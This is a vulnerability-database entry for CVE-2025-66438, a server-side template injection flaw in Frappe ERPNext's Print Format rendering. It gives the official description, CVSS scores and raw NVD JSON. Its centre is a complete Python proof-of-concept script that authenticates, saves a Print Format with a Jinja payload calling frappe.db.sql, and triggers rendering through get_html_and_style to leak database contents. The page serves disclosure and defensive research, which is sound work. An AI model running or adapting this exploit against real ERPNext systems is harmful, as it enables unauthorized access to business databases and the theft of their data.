Security Vulnerability Report
中文
CVE-2025-66438 CVSS 8.8 HIGH

CVE-2025-66438

Published: 2025-12-15 18:15:48
Last Modified: 2026-01-05 18:20:23

Description

A Server-Side Template Injection (SSTI) vulnerability exists in the Frappe ERPNext through 15.89.0 Print Format rendering mechanism. Specifically, the API frappe.www.printview.get_html_and_style() triggers the rendering of the html field inside a Print Format document using frappe.render_template(template, doc) via the get_rendered_template() call chain. Although ERPNext wraps Jinja2 in a SandboxedEnvironment, it exposes sensitive functions such as frappe.db.sql through get_safe_globals(). An authenticated attacker with permission to create or modify a Print Format can inject arbitrary Jinja expressions into the html field. Once the malicious Print Format is saved, the attacker can call get_html_and_style() with a target document (e.g., Supplier or Sales Invoice) to trigger the render process. This leads to information disclosure from the database, such as database version, schema details, or sensitive values, depending on the injected payload. Exploitation flow: Create a Print Format with SSTI payload in the html field; call the get_html_and_style() API; triggers frappe.render_template(template, doc) inside get_rendered_template(); leaks database information via frappe.db.sql or other exposed globals.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:* - VULNERABLE
Frappe ERPNext < 15.89.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-66438 PoC - Frappe ERPNext SSTI via Print Format Note: This is for educational and authorized testing purposes only. """ import requests import json TARGET_URL = "https://erpnext.example.com" USERNAME = "your_username" PASSWORD = "your_password" def login(session): """Authenticate to ERPNext and get session cookie""" login_url = f"{TARGET_URL}/api/method/login" data = { "usr": USERNAME, "pwd": PASSWORD } response = session.post(login_url, data=data, timeout=30) return response.status_code == 200 def create_malicious_print_format(session): """Create a Print Format with SSTI payload in html field""" api_url = f"{TARGET_URL}/api/resource/Print Format" # SSTI payload to leak database version ssti_payload = """ {{ frappe.db.sql("SELECT version()") }} """ print_format_data = { "doctype": "Print Format", "name": "Malicious_Print_Format", "print_format_builder_beta": 1, "html": ssti_payload, "doc_type": "Supplier", "disabled": 0 } headers = { "Content-Type": "application/json", "Accept": "application/json" } response = session.post(api_url, json=print_format_data, headers=headers, timeout=30) return response.json() def trigger_ssti(session, print_format_name): """Call get_html_and_style API to trigger SSTI""" api_url = f"{TARGET_URL}/api/method/frappe.www.printview.get_html_and_style" params = { "doctype": "Supplier", "name": "Sample_Supplier_Name", "print_format": print_format_name } response = session.get(api_url, params=params, timeout=30) return response.json() def main(): session = requests.Session() print("[*] Step 1: Authenticating to ERPNext...") if not login(session): print("[-] Authentication failed") return print("[+] Authentication successful") print("[*] Step 2: Creating malicious Print Format...") result = create_malicious_print_format(session) print(f"[+] Print Format created: {result}") print("[*] Step 3: Triggering SSTI via get_html_and_style API...") leaked_data = trigger_ssti(session, "Malicious_Print_Format") print(f"[+] Leaked data: {leaked_data}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66438", "sourceIdentifier": "[email protected]", "published": "2025-12-15T18:15:48.410", "lastModified": "2026-01-05T18:20:23.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Server-Side Template Injection (SSTI) vulnerability exists in the Frappe ERPNext through 15.89.0 Print Format rendering mechanism. Specifically, the API frappe.www.printview.get_html_and_style() triggers the rendering of the html field inside a Print Format document using frappe.render_template(template, doc) via the get_rendered_template() call chain. Although ERPNext wraps Jinja2 in a SandboxedEnvironment, it exposes sensitive functions such as frappe.db.sql through get_safe_globals(). An authenticated attacker with permission to create or modify a Print Format can inject arbitrary Jinja expressions into the html field. Once the malicious Print Format is saved, the attacker can call get_html_and_style() with a target document (e.g., Supplier or Sales Invoice) to trigger the render process. This leads to information disclosure from the database, such as database version, schema details, or sensitive values, depending on the injected payload. Exploitation flow: Create a Print Format with SSTI payload in the html field; call the get_html_and_style() API; triggers frappe.render_template(template, doc) inside get_rendered_template(); leaks database information via frappe.db.sql or other exposed globals."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1336"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:*", "versionEndIncluding": "15.89.0", "matchCriteriaId": "DAA2FB4F-48C5-4BA5-A15F-175B8A752866"}]}]}], "references": [{"url": "https://iamanc.github.io/post/erpnext-ssti-bug-5", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.notion.so/SSTI-bug-5-239e6086eadc80a48f17c1257a604d2c?source=copy_link", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}